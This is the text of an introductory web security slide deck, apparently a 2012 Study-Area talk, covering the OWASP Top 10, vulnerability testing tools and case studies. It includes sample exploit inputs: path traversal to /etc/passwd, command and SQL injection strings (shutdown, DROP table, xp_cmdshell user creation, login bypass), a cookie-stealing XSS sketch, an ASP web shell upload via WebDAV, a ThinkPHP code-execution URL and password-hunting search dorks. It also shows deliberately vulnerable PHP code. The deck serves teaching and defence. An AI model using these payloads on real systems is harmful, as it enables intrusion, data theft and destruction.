狠狠撸

狠狠撸Share a Scribd company logo
網頁安全 Web Security 入門

   2012/10/20 @ Study-Area
    <Orange@chroot.org>
About Me

? 蔡政達 a.k.a Orange    ? 專精於
? 2009 台灣駭客年會競         – 駭客攻擊手法
  賽冠軍                  – Web Security
? 2011 全國資安競賽金         – Windows Vulnerability
                         Exploitation
  盾獎冠軍
? 2011 東京 Avtokyo 研
  討會講師
About Me

? CHROOT Security Group 成員
? NISRA 資訊安全研究會 成員
? 偶爾做做滲透測試、講講課、接接 case.

? Blog
  – http://blog.orangee.tw/
Outline

? 網頁安全分析
? 網頁漏洞檢測
? 案例分享
e10adc3949ba59abbe56e057f20f883e
        你會想到甚麼?
       md5sum of 123456
骇客想的和你不一样
骇客观察日记
http://orange.tw/wp-content/
uploads/2012/04/16552602503_125.pdf

         网址透漏了甚麼?
In The Wild.

? 七成以上的網站存在安全問題
? World Wide Web 發展至今趨近成熟
 – 技術多、花樣多
? Web 是駭客最愛找洞鑽的入口點
 – 防火牆無用論?
? 要當「駭客」越來越輕鬆
傻瓜工具轻轻鬆鬆入侵网站
Google Hacking Database




   http://www.exploit-db.com/google-dorks/
Google Hacking Database
網頁安全 Web security 入門 @ Study-Area
從何開始?

? OWASP Top 10
? Open Web Application Security Project
? Web 最常見、駭客最愛看的十大安全問題
从第十名开始
10. Insufficient Transport
Layer Protection

? 你的密碼在網路線
  上飛
? 人性本善論
? 有 SSL(https) 就安全
  了嗎?
  – SSLstrip
  – Man-in-the-middle
    attack
看到就该注意一下了
9. Insecure Cryptographic Storage


? 不安全的加密儲存
? 密碼為什麼不能存明文?
 – 傳輸過程中的竊聽
 – 針對性的密碼攻擊
http://plainpass.com/
8. Unvalidated
Redirects and Forwards

? 設計對白,點下去嗎?
www.battlenet.com.cn
www.bazzaent.com
www.bazzaent.com
7. Failure to
Restrict URL Access
? 管理者登入頁面
  – http://orange.tw/admin/login.php
? 程式設計師的好習慣
  – http://orange.tw/.svn/entries
? 放在網站上回家改 code 比較方便
  – http://orange.tw/www.tgz
? Hack friendly 的上傳頁面
  – http://orange.tw/upload.php
6. Security Misconfiguration


?   人是最大的的弱點
?   安全的系統程式碰上沒有安全意識的人?
?   系統更新到最新?
?   設定是照著系統的預設設定?
?   密碼是預設密碼或是弱密碼?
    – 網路環境比較複雜時,你旁邊的系統呢?
未做好程式錯誤的 handling
选用过旧的应用程式版本
5. Cross-Site Request Forgery


? 未授權的使用者請
  求偽造
? 通常配合後面的
  XSS 一起利用
? ex 網站自動讀圖
 – /logout
 – /transfer?to=hacker
   &amount=10000
4. Insecure Direct
Object References

? 問: 駭客看到下面網址的直覺反應是?
? http://orange.tw/index.php?mod=news
  – /index.php?mod=login
  – /index.php?mod=admin
? http://orange.tw/news.php?id=1&act=view
  – /news.php?id=1&act=edit
  – /news.php?id=1&act=upload
http://orange.tw/download.php
     ?file=sa-at-tainan.doc
    背後是如何實現下載功能的 ?
download.php

<?php
   $file= $_GET[file];
   if ($file == '')
       die( 'file not found.' );
   Header ( "Content-Type: application/octet-stream" );
   Header( "Content-Disposition: attachment;
   filename=$file" );
   readfile( 'uploads/' . $file );
? download.php?file=sa-at-tainan.doc
  /var/www/uploads/sa-at-tainan.doc
? download.php?file=../download.php
  /var/www/uploads/../download.php
? download.php?file=../../../etc/passwd
  /var/www/uploads/../../../etc/passwd
3. Broken Authentication and
Session Management

? Cookie or Session
  – Set-Cookie: admin=0;
? 只用 JavaScript 的身分驗證
  – alert( '沒有權限' ); history.back();
? 不安全的 Cookie 產生方式
2. Cross-Site Scripting

? 俗稱 XSS
? 攻擊對象非網站本身,而是針對用戶端
? 植入惡意的 HTML, CSS, Javascript, VBScript
  等
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
網頁安全 Web security 入門 @ Study-Area
Cont.

 <script>
    stealCookie( hackerIP, document.cookie );
    var friends = getAllFriends();
    for ( var friend in friends )
           sendMessage( friend, evilCode );
 </script>
1. Injection

? 網頁程式未對使用者輸入的資料做檢查,
  給駭客有機會植入惡意的指令的機會

? SQL Injection
? Command Injection
? Code, Xpath, Ldap Injection..
Command Injection(1/3)

? Pipe & terminator
  – cat /etc/passwd | less
  – echo 1; echo 2 ;
Command Injection(2/3)

<?php
   $domain = $_GET[domain];
   if ( $domain == '' )
      die( 'domain not found.' );
   echo '<pre>';
   system( 'nslookup ' . $cmd );
Command Injection(3/3)

? ip.php?domain=orange.tw
  – cmd = 'nslookup orange.tw'

? ip.php?domain=orange.tw | shutdown -r
  – cmd = 'nslookup orange.tw | shutdown -r‘

? 使用者輸入汙染了系統執行的指令。
SQL Injection (1/3)
? news.php?id=3
  – SELECT * FROM news WHERE id=3


? news.php?id=sleep(123)
  – SELECT * FROM news WHERE id=sleep(123)


? news.php?id=3 and left(pwd, 1)='a'
  – SELECT * FROM news WHERE id=3 and left(pwd, 1)='a'
SQL Injection (2/3)
? login.asp     # admin / 123456
  – SELECT * FROM user WHERE name='admin' and pwd=
    '123456'
? login.asp     # admin'--
  – SELECT * FROM user WHERE name='admin'--' and ……


? login.asp     # admin';DROP table ...
  – SELECT * FROM user WHERE name='admin';DROP
    table user;--' and ……
SQL Injection (3/3)

 ? news.asp?id=3;EXEC master..xp_cmdshell
   'net user sa /add';--
   – SELECT * FROM news WHERE id=3;EXEC
     master..xp_cmdshell 'net user orange /add';--



 ? 使用者輸入汙染了 SQL 語句。
漏洞那麼多,头昏眼花

   休息十分鐘
網頁漏洞檢測

自動化 vs. 手動
w3af




       http://w3af.sourceforge.net/
w3af
Jsky




   http://nosec.org/en/productservice/jsky/
Jsky
網頁漏洞是如何被找出來? (1/3)

? 觀察、分析
? 網頁功能是如何實現的?
? 分析輸入輸出的結果

? 正確的輸入正確的輸出
? 錯誤的輸入錯誤的輸出
網頁漏洞是如何被找出來? (2/3)

? 網頁的上傳功能
 – 檢查附檔名 ?
 – 檢查 Content-Type ?
 – 檢查檔案內容 ?
? 網頁的上傳掃毒功能
 – 如何實現 ?
 – 實現的程式碼可能有甚麼問題 ?
 – clamscan -i filename.jpg | sleep 12345 …
網頁漏洞是如何被找出來? (3/3)
? 只有了解溝通的語言才能選擇好的(錯誤)的
  輸入
? 只有了解架構才能知道哪裡容易出問題
? HTTP Protocol
? SQL PHP ASP Java JavaScript Tomcat Apache…
HTTP Request

  GET /robots.txt HTTP/1.1
  Host: orange.tw
  User-Agent: Mozilla/5.0
  Accept-Language: zh-tw,en-us;
  Accept-Encoding: gzip, deflate
  Referer: http://www.google.com.tw/
  Cookie: user=admin
HTTP Response

  HTTP/1.1 200 OK
  Last-Modified: Tue, 19 Jul 2011 21:46:37
  GMT
  Server: Apache/2.2.3 (Oracle)
  Content-Length: 64
  Content-Type: text/plain; charset=UTF-8

  <html>
Cont. 案例分享

不正確的程式寫法可以任意偽造 IP 位置

  GET /getIP HTTP/1.1
  Host: orange.tw
  X-Forwarded-For: 127.0.0.1
錯誤示範(google://php get ip)
function getIp() {
  $ip = $_SERVER['REMOTE_ADDR'];

    if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
       $ip = $_SERVER['HTTP_CLIENT_IP'];
    } elseif (!empty($_SERVER[‘HTTP_X_FORWARDED_FOR’])) {
       $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    return $ip;
}
Cont. 案例分享

不安全的伺服器設置造成可任意寫入檔案

  PUT /cmd.asp HTTP/1.1
  Host: orange.tw
  Content-Length: 24

  <%execute(request(cmd));%>
WebDAV
Cont. 案例分享

PHP CGI Argument
Injection

http://test/index.php
http://test/index.php?-s




http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
Cont. 案例分享

不嚴謹的字串檢查可造成
任意密碼登入

      ' or ''=' / <anything>



SELECT * FROM admin
WHERE user='' or ''='' and pwd='<anything>'
Cont. 案例分享

? Struts2 ognl 任意代码执行漏洞
? Java MVC Framework
? CVE-2011-3923
http://www.wooyun.org/bugs/wooyun-2010-08981
http://www.wooyun.org/bugs/wooyun-2010-08981
Cont. 案例分享
Think PHP 任意代码执行漏洞
ThinkPHP 代碼執行漏洞

https://orange.tw/index.php?s=module/action/
param1/${@system($_GET[cmd])}
&cmd=cat config.php

$res =
preg_replace('@(w+)'.$depr.'([^'.$depr.'/]+)@e'
, '$var['1']="2";', implode($depr,$paths));
用来协助分析的小工具
Google Hacking

Google is your BEST friend.
?   apple orange
?   apple -orange
?   "apple orange"
?   site:orange.tw
?   site:orange.tw inurl:air
?   site:orange.tw filetype:php
"index of" 徐佳瑩 mp3
site:gov.cn filetype:xls 密碼
inurl:cmd filetype:asp "system32"
Burp Suite - Proxy




       http://portswigger.net/burp/
Burp Suite - Spider




       http://portswigger.net/burp/
Burp Suite - Decoder




       http://portswigger.net/burp/
FireFox–Tamper Data
贵颈谤别贵辞虫–贬补肠办叠补谤
FireFox–User Agent Switcher
小練習

http://demosite.com/sa.php
Q&A
Thanks :)

<Orange@chroot.org>
Ad

Recommended

Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
Orange Tsai
?
滲透測試 Talk @ Nisra
滲透測試 Talk @ Nisra
Orange Tsai
?
网站系统安全及资料保护设计认知
网站系统安全及资料保护设计认知
Justin Lin
?
Waf bypassing Techniques
Waf bypassing Techniques
Avinash Thapa
?
A Forgotten HTTP Invisibility Cloak
A Forgotten HTTP Invisibility Cloak
Soroush Dalili
?
SSRF For Bug Bounties
SSRF For Bug Bounties
OWASP Nagpur
?
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
Soroush Dalili
?
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
Frans Rosén
?
SSRF workshop
SSRF workshop
Ivan Novikov
?
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
?
Attacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov
?
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
?
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
?
Deep dive into ssrf
Deep dive into ssrf
n|u - The Open Security Community
?
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
?
Introduction to path traversal attack
Introduction to path traversal attack
Prashant Hegde
?
Linux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend Programing
Angel Boy
?
XXE
XXE
n|u - The Open Security Community
?
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
?
Security Testing with Zap
Security Testing with Zap
Soluto
?
Offzone | Another waf bypass
Offzone | Another waf bypass
Дмитрий Бумов
?
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
Mikhail Egorov
?
SSRF exploit the trust relationship
SSRF exploit the trust relationship
n|u - The Open Security Community
?
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
?
Understanding Windows Access Token Manipulation
Understanding Windows Access Token Manipulation
Justin Bui
?
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
?
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
Mikhail Egorov
?
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
?
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
Orange Tsai
?
议题二:奥别产应用程式安全防护
议题二:奥别产应用程式安全防护
Nicolas su
?

More Related Content

What's hot (20)

SSRF workshop
SSRF workshop
Ivan Novikov
?
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
Security BSides Ahmedabad
?
Attacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov
?
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
?
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
?
Deep dive into ssrf
Deep dive into ssrf
n|u - The Open Security Community
?
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
?
Introduction to path traversal attack
Introduction to path traversal attack
Prashant Hegde
?
Linux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend Programing
Angel Boy
?
XXE
XXE
n|u - The Open Security Community
?
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
?
Security Testing with Zap
Security Testing with Zap
Soluto
?
Offzone | Another waf bypass
Offzone | Another waf bypass
Дмитрий Бумов
?
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
Mikhail Egorov
?
SSRF exploit the trust relationship
SSRF exploit the trust relationship
n|u - The Open Security Community
?
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
?
Understanding Windows Access Token Manipulation
Understanding Windows Access Token Manipulation
Justin Bui
?
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
?
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
Mikhail Egorov
?
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
?
Attacking thru HTTP Host header
Attacking thru HTTP Host header
Sergey Belov
?
Neat tricks to bypass CSRF-protection
Neat tricks to bypass CSRF-protection
Mikhail Egorov
?
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Soroush Dalili
?
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
X-XSS-Nightmare: 1; mode=attack XSS Attacks Exploiting XSS Filter
Masato Kinugawa
?
Introduction to path traversal attack
Introduction to path traversal attack
Prashant Hegde
?
Linux Binary Exploitation - Return-oritend Programing
Linux Binary Exploitation - Return-oritend Programing
Angel Boy
?
Hacking Adobe Experience Manager sites
Hacking Adobe Experience Manager sites
Mikhail Egorov
?
Security Testing with Zap
Security Testing with Zap
Soluto
?
Hunting for security bugs in AEM webapps
Hunting for security bugs in AEM webapps
Mikhail Egorov
?
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
Sergey Soldatov
?
Understanding Windows Access Token Manipulation
Understanding Windows Access Token Manipulation
Justin Bui
?
Time based CAPTCHA protected SQL injection through SOAP-webservice
Time based CAPTCHA protected SQL injection through SOAP-webservice
Frans Rosén
?
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
Mikhail Egorov
?
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
"15 Technique to Exploit File Upload Pages", Ebrahim Hegazy
HackIT Ukraine
?

Similar to 網頁安全 Web security 入門 @ Study-Area (20)

WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
Orange Tsai
?
议题二:奥别产应用程式安全防护
议题二:奥别产应用程式安全防护
Nicolas su
?
用户端攻击与防御
用户端攻击与防御
Taien Wang
?
.NET Security Application/Web Development - Part I
.NET Security Application/Web Development - Part I
Chen-Tien Tsai
?
网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019
Justin Lin
?
HITCON GIRLS 資安萌芽推廣 2017: 你知道你連線的網站黑黑的嗎
HITCON GIRLS 資安萌芽推廣 2017: 你知道你連線的網站黑黑的嗎
HITCON GIRLS
?
资讯安全入门
资讯安全入门
Tyler Chen
?
资讯安全入门
资讯安全入门
Tyler Chen
?
基础网页程式攻击检验
基础网页程式攻击检验
Taien Wang
?
渗透测试基本技巧与经验分享
渗透测试基本技巧与经验分享
WEI CHIEH CHAO
?
常見 Web 系統攻擊及防範
常見 Web 系統攻擊及防範
Rainmaker Ho
?
OWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-Chinese
Tony Hsu
?
Html01
Html01
Ht Wang
?
议题叁:政府网站常见弱点与分析
议题叁:政府网站常见弱点与分析
Nicolas su
?
PHP & AppServ
PHP & AppServ
Ht Wang
?
伺服器端攻击与防御滨滨
伺服器端攻击与防御滨滨
Taien Wang
?
黑站骑士
黑站骑士
openblue
?
Become A Security Master
Become A Security Master
Chong-Kuan Chen
?
6kbbs vulnerability report
6kbbs vulnerability report
insight-labs
?
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
?
WebConf 2013「Best Practices - The Upload」
WebConf 2013「Best Practices - The Upload」
Orange Tsai
?
议题二:奥别产应用程式安全防护
议题二:奥别产应用程式安全防护
Nicolas su
?
用户端攻击与防御
用户端攻击与防御
Taien Wang
?
.NET Security Application/Web Development - Part I
.NET Security Application/Web Development - Part I
Chen-Tien Tsai
?
网站系统安全及资料保护设计认知 2019
网站系统安全及资料保护设计认知 2019
Justin Lin
?
HITCON GIRLS 資安萌芽推廣 2017: 你知道你連線的網站黑黑的嗎
HITCON GIRLS 資安萌芽推廣 2017: 你知道你連線的網站黑黑的嗎
HITCON GIRLS
?
资讯安全入门
资讯安全入门
Tyler Chen
?
资讯安全入门
资讯安全入门
Tyler Chen
?
基础网页程式攻击检验
基础网页程式攻击检验
Taien Wang
?
渗透测试基本技巧与经验分享
渗透测试基本技巧与经验分享
WEI CHIEH CHAO
?
常見 Web 系統攻擊及防範
常見 Web 系統攻擊及防範
Rainmaker Ho
?
OWASPTop10ProactiveControls2016-Chinese
OWASPTop10ProactiveControls2016-Chinese
Tony Hsu
?
议题叁:政府网站常见弱点与分析
议题叁:政府网站常见弱点与分析
Nicolas su
?
PHP & AppServ
PHP & AppServ
Ht Wang
?
伺服器端攻击与防御滨滨
伺服器端攻击与防御滨滨
Taien Wang
?
6kbbs vulnerability report
6kbbs vulnerability report
insight-labs
?
Clientside attack using HoneyClient Technology
Clientside attack using HoneyClient Technology
Julia Yu-Chin Cheng
?
Ad

網頁安全 Web security 入門 @ Study-Area